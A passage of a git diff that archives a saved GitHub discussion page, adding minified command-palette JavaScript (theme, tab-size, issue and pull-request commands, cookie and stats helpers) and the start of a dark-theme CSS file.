Ct=a(68313),Et=a(96753),St=a(28760),_t=a(3991),Je=a(77417);class y{constructor(){this.iconType="octicon",this.group="commands",this.priority=0,this.dismissAfterRun=!0}static item(e={}){return new Je.U(new this,e)}run(e){new Error("Not implemented")}isApplicable(e){return!0}}n(y,"MainWindowCommand");class W extends y{constructor(){super(...arguments);this.group="global_commands"}}n(W,"MainWindowGlobalCommand");class ne extends y{constructor(){super(...arguments);this.title="Delete discussion\u2026",this.icon="trash-color-fg-muted"}get deleteButton(){return document.querySelector("button#dialog-show-delete-discussion")}get dialogElement(){return document.querySelector("#delete-discussion")}isApplicable(){return this.deleteButton!=null}run(){const e=this.deleteButton;if(e){e.click(),setTimeout(()=>{var s,o;(o=(s=this.dialogElement)==null?void 0:s.querySelector('button[type="submit"]'))==null||o.focus()},0);return}}}n(ne,"DeleteDiscussion");class re extends y{constructor(){super(...arguments);this.title="Edit discussion body",this.icon="pencil-color-fg-muted"}get editButton(){return document.querySelector(".js-discussions-comment-edit-button")}isApplicable(){return this.editButton!=null}run(){var e;(e=this.editButton)==null||e.click()}}n(re,"EditDiscussion");class ie extends y{constructor(){super(...arguments);this.title="Transfer discussion\u2026",this.icon="arrow-right-color-fg-muted"}fetchDetails(){return document.querySelector("details.js-transfer-discussion-details")}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s==null?void 0:s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(ie,"TransferDiscussion");const Qe=[ne,ie,re];var M=a(64992),ae=a(33241),ce=a(88513);class x extends y{constructor(){super(...arguments);this.title="2 spaces",this.iconType="none",this.tabSize="2",this.group=""}async run(e){this.updateTabSize(),this.saveSettings(e)}updateTabSize(){const e=document.querySelectorAll("[data-tab-size]");for(const s of e)s.setAttribute("data-tab-size",this.tabSize)}async saveSettings(e){const s=new FormData;s.set("tab_size_rendering_preference",this.tabSize);const o="Failed to save tab size preference";try{(await(0,ce.Q)("/settings/appearance/tab_size",{method:"PUT",body:s})).ok?e.displayFlash("success","Tab size rendering updated"):e.displayFlash("error",o)}catch{e.displayFlash("error",o)}}}n(x,"TabSizeTwo");class le extends x{constructor(){super(...arguments);this.title="3 spaces",this.tabSize="3"}}n(le,"TabSizeThree");class ue extends x{constructor(){super(...arguments);this.title="4 spaces",this.tabSize="4"}}n(ue,"TabSizeFour");class de extends x{constructor(){super(...arguments);this.title="6 spaces",this.tabSize="6"}}n(de,"TabSizeSix");class he extends x{constructor(){super(...arguments);this.title="8 spaces",this.tabSize="8"}}n(he,"TabSizeEight");class pe extends x{constructor(){super(...arguments);this.title="10 spaces",this.tabSize="10"}}n(pe,"TabSizeTen");class me extends x{constructor(){super(...arguments);this.title="12 spaces",this.tabSize="12"}}n(me,"TabSizeTwelve");class fe extends W{constructor(){super(...arguments);this.title="Change tab size rendering",this.icon="gear-color-fg-muted",this.priority=10,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"tab-sizes",this.pageItems),!0)}get pageItems(){return[x,le,ue,de,he,pe,me].map(e=>e.item())}select(e){this.run(e)}}n(fe,"SwitchTabSize");class ye extends y{constructor(){super(...arguments);this.title="Open in github.dev editor",this.icon="codespaces-color-fg-muted",this.priority=10}isApplicable(){return this.fetchLink()instanceof HTMLAnchorElement}fetchLink(){return document.querySelector(".js-github-dev-shortcut")}run(){var e;(e=this.fetchLink())==null||e.click()}}n(ye,"OpenInDotDev");class ve extends W{constructor(){super(...arguments);this.title="Switch theme",this.icon="paintbrush-color-fg-muted",this.priority=9,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"switch-theme-page-1",this.pageItems),!0)}get pageItems(){return[I,Ce,be,ge,Ee].map(e=>e.item())}select(e){this.run(e)}}n(ve,"SwitchTheme");class I extends y{constructor(){super(...arguments);this.title="Default dark",this.icon="moon-color-fg-muted",this.mode="dark",this.theme="dark",this.group=""}applyTheme(){this.loadStyles(this.theme),this.mode!=="auto"&&(0,M.on)(this.theme,this.mode),(0,M.h5)(this.mode)}async run(){this.applyTheme(),this.saveSettings(this.mode,this.lightTheme,this.darkTheme)}async saveSettings(e=this.mode,s,o){const r=new FormData;r.set("color_mode",e),s&&r.set("light_theme",s),o&&r.set("dark_theme",o);const l=await(await(0,ce.Q)("/settings/appearance/color_mode",{method:"PUT",body:r})).json();this.loadStyles(l.light_theme),this.loadStyles(l.dark_theme),(0,M.on)(l.light_theme,"light"),(0,M.on)(l.dark_theme,"dark"),(0,M.h5)(l.color_mode)}loadStyles(e){const s=document.querySelector(`link[data-color-theme='${e}']`);s&&!s.hasAttribute("href")&&s.hasAttribute("data-href")&&s.setAttribute("href",s.getAttribute("data-href"))}get darkTheme(){return this.mode==="dark"?this.theme:(0,M.yn)("dark")}get lightTheme(){return this.mode==="light"?this.theme:(0,M.yn)("light")}}n(I,"SwitchToDark");class ge extends I{constructor(){super(...arguments);this.title="Switch theme to dark high contrast",this.theme="dark_high_contrast"}}n(ge,"SwitchToDarkHighContrast");class be extends I{constructor(){super(...arguments);this.title="Dark dimmed",this.theme="dark_dimmed"}}n(be,"SwitchToDarkDimmed");class Ce extends I{constructor(){super(...arguments);this.title="Default light",this.icon="sun-color-fg-muted",this.mode="light",this.theme="light"}}n(Ce,"SwitchToLight");class Ee extends I{constructor(){super(...arguments);this.title="Sync with system settings",this.icon="sun-color-fg-muted",this.mode="auto"}get darkTheme(){}get lightTheme(){}}n(Ee,"SwitchToAuto");class Se extends y{constructor(){super();const e=this.isSubscribe();this.title=`${e?"Subscribe":"Unsubscribe"}`,this.icon=`${e?"bell":"bell-slash"}-color-fg-muted`}isApplicable(){var e;return this.fetchButton()instanceof HTMLButtonElement&&((e=this.fetchButton())==null?void 0:e.disabled)===!1}isSubscribe(){var e,s;return((s=(e=this.fetchButton())==null?void 0:e.textContent)==null?void 0:s.trim())==="Subscribe"}fetchButton(){return document.querySelector(".thread-subscribe-button")}run(){var e;(e=this.fetchButton())==null||e.click()}}n(Se,"UpdateSubscription");const Xe=[ye,fe,ve,Se];function _e(t){t.focus(),t.selectionStart=t.selectionEnd=t.value.length}n(_e,"moveCursorToEnd");class N extends y{constructor(){super(...arguments);this.title="Edit issue body",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.isIssue()}run(){const e=document.createElement("button");e.hidden=!0,e.classList.add("js-comment-edit-button");const s=document.querySelector("div.js-comment");s==null||s.appendChild(e),e.click(),e.remove(),setTimeout(()=>{var o;const r=(o=s==null?void 0:s.parentElement)==null?void 0:o.querySelector("textarea.js-comment-field");r&&_e(r)},0)}}n(N,"EditIssueBody");class Z extends y{constructor(){super(...arguments);this.title="Edit issue title",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isIssue()}fetchButton(){return document.querySelector(".js-title-edit-button")}run(){var e;(e=this.fetchButton())==null||e.click(),setTimeout(()=>{const s=document.querySelector("input#issue_title[autofocus]");s&&_e(s)},0)}}n(Z,"EditIssueTitle");class we extends y{constructor(){super(...arguments);this.title="Transfer issue\u2026",this.icon="arrow-right-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-transfer-issue")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(we,"TransferIssue");class Te extends y{constructor(){super();const e=this.isLock();this.title=`${e?"Lock":"Unlock"} conversation`,this.icon=`${e?"lock":"key"}-color-fg-muted`}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}isLock(){var e,s;return((s=(e=document.querySelector("summary.lock-toggle-link"))==null?void 0:e.textContent)==null?void 0:s.trim())==="Lock conversation"}fetchDetails(){return document.querySelector("details.js-lock-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=document.querySelector("#unlock-reason"))==null||s.focus()},0))}}n(Te,"LockIssue");class xe extends y{constructor(){super(...arguments);this.title="Delete issue\u2026",this.icon="trash-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-delete-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=e.querySelector('button[type="submit"]'))==null||s.focus()},0))}}n(xe,"DeleteIssue");class Pe extends y{constructor(){super(...arguments);this.title="Convert issue to discussion\u2026",this.icon="comment-discussion-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-convert-to-discussion")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(Pe,"ConvertToDiscussion");const Ge=[Z,N,Te,we,xe,Pe];var Ye=a(78078),P=a(76745);class K extends y{constructor(){super(...arguments);this.title="Open in new codespace",this.icon="codespaces-color-fg-muted",this.priority=11}isApplicable(){const e=this.fetchElements();return!!(e.codeModal&&e.codespacesForm&&e.newCodespacesButton&&e.codespacesTab)}run(){const{codeModal:e,codespacesTab:s,newCodespacesButton:o}=this.fetchElements();!(e&&s&&o)||(e.open=!0,s.click(),o instanceof HTMLButtonElement&&o.click())}fetchElements(){const e=document.querySelector(".js-create-codespaces-form-command"),s=(e==null?void 0:e.closest("details"))||null,o=(s==null?void 0:s.querySelector('[data-tab="cloud"]'))||null,r=(e==null?void 0:e.querySelector('summary[role="button"], button[type="submit"]'))||null;return{codespacesForm:e,codeModal:s,codespacesTab:o,newCodespacesButton:r}}}n(K,"OpenCodespace");var $=a(76168);class Ae extends N{constructor(){super(...arguments);this.title="Edit pull request body"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.isPullRequest()}}n(Ae,"EditPullRequestBody");class Le extends Z{constructor(){super(...arguments);this.title="Edit pull request title"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isPullRequest()}}n(Le,"EditPullRequestTitle");class je extends y{constructor(){super(...arguments);this.title="Update current branch",this.icon="sync-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-update-branch-form button")}run(){const e=this.fetchButton();e&&(e.scrollIntoView({behavior:"smooth",block:"center"}),e.click())}}n(je,"UpdateBranch");class De extends y{constructor(){super(...arguments);this.title="Convert to draft",this.icon="git-pull-request-draft-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-convert-to-draft")}run(){var e;const s=(e=this.fetchButton())==null?void 0:e.closest("details");s&&(s.open=!0,setTimeout(()=>{var o;(o=s.querySelector(".js-convert-to-draft"))==null||o.focus()},0))}}n(De,"ConvertToDraft");class Me extends y{constructor(){super(...arguments);this.title="Copy current branch name",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-copy-branch")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Branch name copied to clipboard!")}catch{e.displayFlash("error","Unable to copy branch name to clipboard!")}}}}n(Me,"CopyBranchName");const et=[Me,Le,Ae,je,De,K];class ke extends y{constructor(){super(...arguments);this.title="Copy file permalink",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchPermalinkContainer()instanceof HTMLAnchorElement}fetchPermalinkContainer(){return document.querySelector(".js-permalink-shortcut")}async run(e){const s=this.fetchPermalinkContainer();if(s){const o=`${s.href}${window.location.hash}`;try{await(0,$.z)(o),e.displayFlash("success","Copied permalink!")}catch{e.displayFlash("error","Failed to copy permalink!")}}}}n(ke,"CopyPermalink");class Be extends y{constructor(){super(...arguments);this.title="Clone repository: Copy HTTPS",this.icon="copy-color-fg-muted",this.priority=4}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-http")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Be,"CloneCopyHttps");class Ie extends y{constructor(){super(...arguments);this.title="Clone repository: Copy SSH",this.icon="copy-color-fg-muted",this.priority=3}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-ssh")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Ie,"CloneCopySsh");class Oe extends y{constructor(){super(...arguments);this.title="Clone repository: Copy GitHub CLI",this.icon="copy-color-fg-muted",this.priority=2}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-gh-cli")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Oe,"CloneCopyCli");const tt=[Be,Ie,Oe,ke,K];class J extends Ye.B{constructor(){super(...arguments);this.itemsByType={},this.items=[],this.needsFetch=!0}enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}get hasCommands(){return!0}async fetch(e){return this.items=[...Ge.map(o=>o.item()),...et.map(o=>o.item()),...tt.map(o=>o.item()),...Qe.map(o=>o.item()),...Xe.map(o=>o.item())].filter(o=>o.isApplicable(e)),{results:this.fuzzyFilter(this.items,e)}}get debounce(){return 0}clearCache(){}}n(J,"MainWindowCommandsProvider"),window.commandPalette&&window.commandPalette.registerProvider("main-window-commands-provider",new J),window.addEventListener("command-palette-ready",()=>{var t;(t=window.commandPalette)==null||t.registerProvider("main-window-commands-provider",new J)});var O=a(64465),st=a(49815),ot=Object.defineProperty,nt=Object.getOwnPropertyDescriptor,F=n((t,e,s,o)=>{for(var r=o>1?void 0:o?nt(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&ot(e,s,r),r},"command_palette_input_element_decorateClass");let A=n(class extends HTMLElement{constructor(){super(...arguments);this.setupComplete=!1,this.connected=!1}static get observedAttributes(){return["input-value","typeahead","scope"]}setup(){this.classList.add("d-flex","flex-items-center","flex-nowrap","py-1","pl-3","pr-2","border-bottom"),this.input=this.querySelector("input.js-input"),this.overlayInput=this.querySelector("input.js-overlay-input"),this.scopeElement=this.querySelector("command-palette-scope"),this.searchIcon=this.querySelector(".js-search-icon"),this.spinner=this.querySelector(".js-spinner"),this.defaultScope=this.scope,this.hasAttribute("autofocus")&&this.input.focus(),this.inputValue.length!==0&&this._dispatchEvent("command-palette-input"),this.setupComplete=!0}connectedCallback(){this.setupComplete||this.setup(),this.inputValue=this.getAttribute("input-value")||"",this.typeahead=this.getAttribute("typeahead")||"",this.placeholder=this.getAttribute("placeholder")||"",this.connected=!0}attributeChangedCallback(t,e,s){!this.input||(t==="typeahead"?this.typeahead=s:t==="input-value"&&(this.inputValue=s,this._dispatchEvent("command-palette-input")))}focus(){this.input.focus()}setRemovedTokenAndSelect(t){t&&(this.inputValue=t),this.focus(),this.input.select()}get scope(){return this.scopeElement.scope}set scope(t){this.scopeElement.scope=t,this.clearButton.hidden=!this.hasSomethingToClear()}hasScope(){return this.scopeElement.hasScope()}clearScope(){return this.scopeElement.clearScope()}removeToken(){return this.scopeElement.removeToken()}get placeholder(){return this.input.getAttribute("placeholder")||""}set placeholder(t){this.input.setAttribute("placeholder",t)}get typeaheadPlaceholderText(){return this.typeaheadPlaceholder.textContent||""}set typeaheadPlaceholderText(t){this.typeaheadPlaceholder.textContent=t}get inputValue(){var t;return((t=this.input)==null?void 0:t.value)||""}set inputValue(t){this.input.value=t,this.typeahead=t,this.resetPlaceholder(),this.onInput()}get overlay(){return this.overlayInput.value}set overlay(t){this.overlayInput.value=t}get typeahead(){return this.typeaheadValue}set typeahead(t){if(this.typeaheadValue=this.overlay+t,this.mirror.textContent=this.inputValue,t==="")this.typeaheadText.textContent="";else if(this.placeholder="",this.typeaheadPlaceholderText="",this.valueStartsWithTypeahead){const e=this.inputValue.length-(this.overlay?1:0);this.typeaheadText.textContent=t.substring(e)}else this.typeaheadText.textContent=` \u2013 ${t}`}showModePlaceholder(t=""){this.typeaheadPlaceholderText=t}get valueStartsWithTypeahead(){return this.typeaheadValue.toLowerCase().startsWith(this.inputValue.toLowerCase())}get isCursorAtEnd(){return this.inputValue.length===this.input.selectionStart}set loading(t){this.spinner.hidden=!t,this.searchIcon.hidden=t}resetPlaceholder(){this.inputValue.replace(this.overlay,"")&&this.overlay&&(this.typeaheadPlaceholderText=""),this.placeholder=this.getAttribute("placeholder")||""}onInput(){this.resetPlaceholder(),!!this.connected&&(this.clearButton.hidden=!this.hasSomethingToClear(),this._dispatchEvent("command-palette-input"))}onClear(t){t instanceof KeyboardEvent&&t.key!=="Enter"||(this.inputValue="",this.input.focus(),this._dispatchEvent("command-palette-cleared"))}onKeydown(t){if(this.isSelectKeystroke(t.key)&&(this._dispatchEvent("command-palette-select"),t.stopImmediatePropagation(),t.preventDefault()),this.hasSomethingToClear()&&(0,O.o)(t)&&t.key==="Backspace"){this.onClear();return}if(this.input.selectionStart===0&&this.input.selectionEnd===0&&t.key==="Backspace"){this._dispatchEvent("command-palette-descope"),t.stopImmediatePropagation(),t.preventDefault();return}}hasSomethingToClear(){return this.scopeElement.hasScope()||this.inputValue.length>0}isSelectKeystroke(t){return(0,st.c)("ACCESSIBLE_COMMAND_PALETTE")?!1:t==="Tab"||t==="ArrowRight"&&this.isCursorAtEnd}textSelected(){return this.input.selectionStart!==this.input.selectionEnd}_dispatchEvent(t){const e=new CustomEvent(t,{cancelable:!0,detail:{typeahead:this.typeahead,value:this.inputValue}});return this.dispatchEvent(e)}},"CommandPaletteInputElement");A.tagName="command-palette-input",F([i.fA],A.prototype,"typeaheadPlaceholder",2),F([i.fA],A.prototype,"typeaheadText",2),F([i.fA],A.prototype,"mirror",2),F([i.fA],A.prototype,"clearButton",2),A=F([i.Ih],A);var rt=a(11793),it=a(6741),at=a(35889),Re=a(64463),ct=a(45922);window.customElements.get(O.Z.tagName)||window.customElements.define(O.Z.tagName,O.Z);function lt(){document.addEventListener("keydown",ut),(0,Re.N7)(".js-command-palette-dialog",t=>{if(!t)return;const e=window.performance.now(),s=Q();!s||(t.addEventListener("toggle",()=>{t.open?s.activate():s.deactivate()}),s.addEventListener("command-palette-activated",o=>{o instanceof CustomEvent&&(o.detail.previouslyActivated||(0,ct.b)({distributionKey:"COMMAND_PALETTE_FIRST_OPEN",distributionValue:window.performance.now()-e}))}))}),(0,Re.N7)(".js-socket-channel.js-updatable-content",{subscribe:t=>(0,it.RB)(t,"socket:message",()=>{const e=Q();!e||e.clearCommands(!1)})})}n(lt,"observeCommandPalette");function Q(){return document.querySelector(O.Z.tagName)}n(Q,"findCommandPalette");function ut(t){if(!t.code)return;const e=Q();if(!e)return;const s=mt(),o=X(e.platformActivationHotkey,t),r=X(e.platformSecondaryActivationHotkey,t),c=X(e.platformCommandModeHotkey,t),l=!dt(t)&&!s&&(o||c),L=!s&&(r||c),w=e.hasAttribute("data-memex-hotkey-enabled")&&s&&(o||r||c);(l||L||w)&&(ft(c),t.preventDefault(),t.stopPropagation())}n(ut,"handleKeyDown");function X(t,e){let s=(0,rt.EL)(e);return s=s.replace("\u02DA","k"),t.split(",").some(o=>s===o)}n(X,"hotkeyMatchesEvent");function dt(t){return ht(t)||pt(t)}n(dt,"shouldIgnoreActivation");function ht(t){const e=t.target;return e?e.closest(".js-previewable-comment-form")!==null:!1}n(ht,"triggeredInsideAPreviewableCommentForm");function pt(t){const e=t.target;if(!e)return!1;const s=e.closest(".js-code-editor");if(!s)return!1;const o=(0,at.P)(s);if(!o)return!1;const r=o.editor;if(!r)return!1;const c=r.getMode().name;return c==="gfm"||c==="markdown"}n(pt,"triggeredInsideAMarkdownCodeEditor");function mt(){return!!document.querySelector("#memex-root")}n(mt,"triggeredInsideMemex");function ft(t){for(const e of document.querySelectorAll(".js-command-palette-dialog")){const s=e.querySelector(A.tagName);if(!s)return;if(e.open)e.open=!1;else{yt(s,t);const o=e.querySelector(O.Z.tagName);o&&(o.previouslyActiveElement=document.activeElement),e.open=!0}}}n(ft,"toggleCommandPalette");function yt(t,e){const s=t.inputValue.startsWith(">");return e&&!s?(t.inputValue=`>${t.inputValue}`,!0):!e&&s?(t.inputValue=t.inputValue.substring(1),!0):!1}n(yt,"toggleCommandMode"),lt()},35889:(S,C,a)=>{a.d(C,{P:()=>v,g:()=>g});var i=a(59753);const b=new WeakMap;function v(d){return b.get(d)}n(v,"getCodeEditor");async function g(d){return b.get(d)||m(await p(d,"codeEditor:ready"))}n(g,"getAsyncCodeEditor");function m(d){if(!(d instanceof CustomEvent))throw new Error("assert: event is not a CustomEvent");const h=d.detail.editor;if(!d.target)throw new Error("assert: event.target is null");return b.set(d.target,h),h}n(m,"onEditorFromEvent"),(0,i.on)("codeEditor:ready",".js-code-editor",m);function p(d,h){return new Promise(u=>{d.addEventListener(h,u,{once:!0})})}n(p,"nextEvent")},64992:(S,C,a)=>{a.d(C,{I3:()=>v,h5:()=>m,on:()=>p,yn:()=>d});var i=a(7739),b=a(64926);(async()=>(await i.x,(0,b.d8)("preferred_color_mode",v())))();function v(){if(g("dark"))return"dark";if(g("light"))return"light"}n(v,"getPreferredColorMode");function g(h){return window.matchMedia&&window.matchMedia(`(prefers-color-scheme: ${h})`).matches}n(g,"prefersColorScheme");function m(h){const u=document.querySelector("html[data-color-mode]");!u||u.setAttribute("data-color-mode",h)}n(m,"setClientMode");function p(h,u){const f=document.querySelector("html[data-color-mode]");!f||f.setAttribute(`data-${u}-theme`,h)}n(p,"setClientTheme");function d(h){const u=document.querySelector("html[data-color-mode]");if(!!u)return u.getAttribute(`data-${h}-theme`)}n(d,"getClientTheme")},64926:(S,C,a)=>{a.d(C,{$1:()=>b,d8:()=>g,ej:()=>i,kT:()=>m});function i(p){return b(p)[0]}n(i,"getCookie");function b(p){const d=[];for(const h of v()){const[u,f]=h.trim().split("=");p===u&&typeof f!="undefined"&&d.push({key:u,value:f})}return d}n(b,"getCookies");function v(){try{return document.cookie.split(";")}catch{return[]}}n(v,"readCookies");function g(p,d,h=null,u=!1,f="lax"){let E=document.domain;if(E==null)throw new Error("Unable to get document domain");E.endsWith(".github.com")&&(E="github.com");const _=location.protocol==="https:"?"; secure":"",G=h?`; expires=${h}`:"";u===!1&&(E=`.${E}`);try{document.cookie=`${p}=${d}; path=/; domain=${E}${G}${_}; samesite=${f}`}catch{}}n(g,"setCookie");function m(p,d=!1){let h=document.domain;if(h==null)throw new Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const u=new Date().getTime(),f=new Date(u-1).toUTCString(),E=location.protocol==="https:"?"; secure":"",_=`; expires=${f}`;d===!1&&(h=`.${h}`);try{document.cookie=`${p}=''; path=/; domain=${h}${_}${E}`}catch{}}n(m,"deleteCookie")},7739:(S,C,a)=>{a.d(C,{C:()=>b,x:()=>i});const i=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),b=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},97474:(S,C,a)=>{a.d(C,{Z:()=>i});function i(b){var v,g;const m=(g=(v=b.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:g.content;if(!m)return!1;const p=m.replace(/\.$/,"").split(".").slice(-2).join("."),d=b.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return p!==d}n(i,"detectProxySite")},45922:(S,C,a)=>{a.d(C,{b:()=>g});var i=a(97474),b=a(7739);let v=[];function g(u,f=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=h(),v.push(u),f?d():p()}n(g,"sendStats");let m=null;async function p(){await b.C,m==null&&(m=window.requestIdleCallback(d))}n(p,"scheduleSendStats");function d(){var u,f;if(m=null,!v.length||(0,i.Z)(document))return;const E=(f=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:f.content;if(!E)return;const _=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(E,_)}catch{}v=[]}n(d,"flushStats");function h(){var u,f;return!!((f=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:f.content)}n(h,"isLoggedIn"),document.addEventListener("pagehide",d),document.addEventListener("visibilitychange",d)},6741:(S,C,a)=>{a.d(C,{RB:()=>b,qC:()=>v,w0:()=>i});class i{constructor(m){this.closed=!1,this.unsubscribe=()=>{m(),this.closed=!0}}}n(i,"Subscription");function b(g,m,p,d={capture:!1}){return g.addEventListener(m,p,d),new i(()=>{g.removeEventListener(m,p,d)})}n(b,"fromEvent");function v(...g){return new i(()=>{for(const m of g)m.unsubscribe()})}n(v,"compose")}},S=>{var C=n(i=>S(S.s=i),"__webpack_exec__");S.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996","vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"],()=>C(86761));var a=S.O()}]);})(); + +//# sourceMappingURL=command-palette-10120dba33e7.js.map \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css new file mode 100644 index 0000000..f8ab479 --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css @@ -0,0 +1,3 @@ +[data-color-mode=light][data-light-theme=dark],[data-color-mode=dark][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: 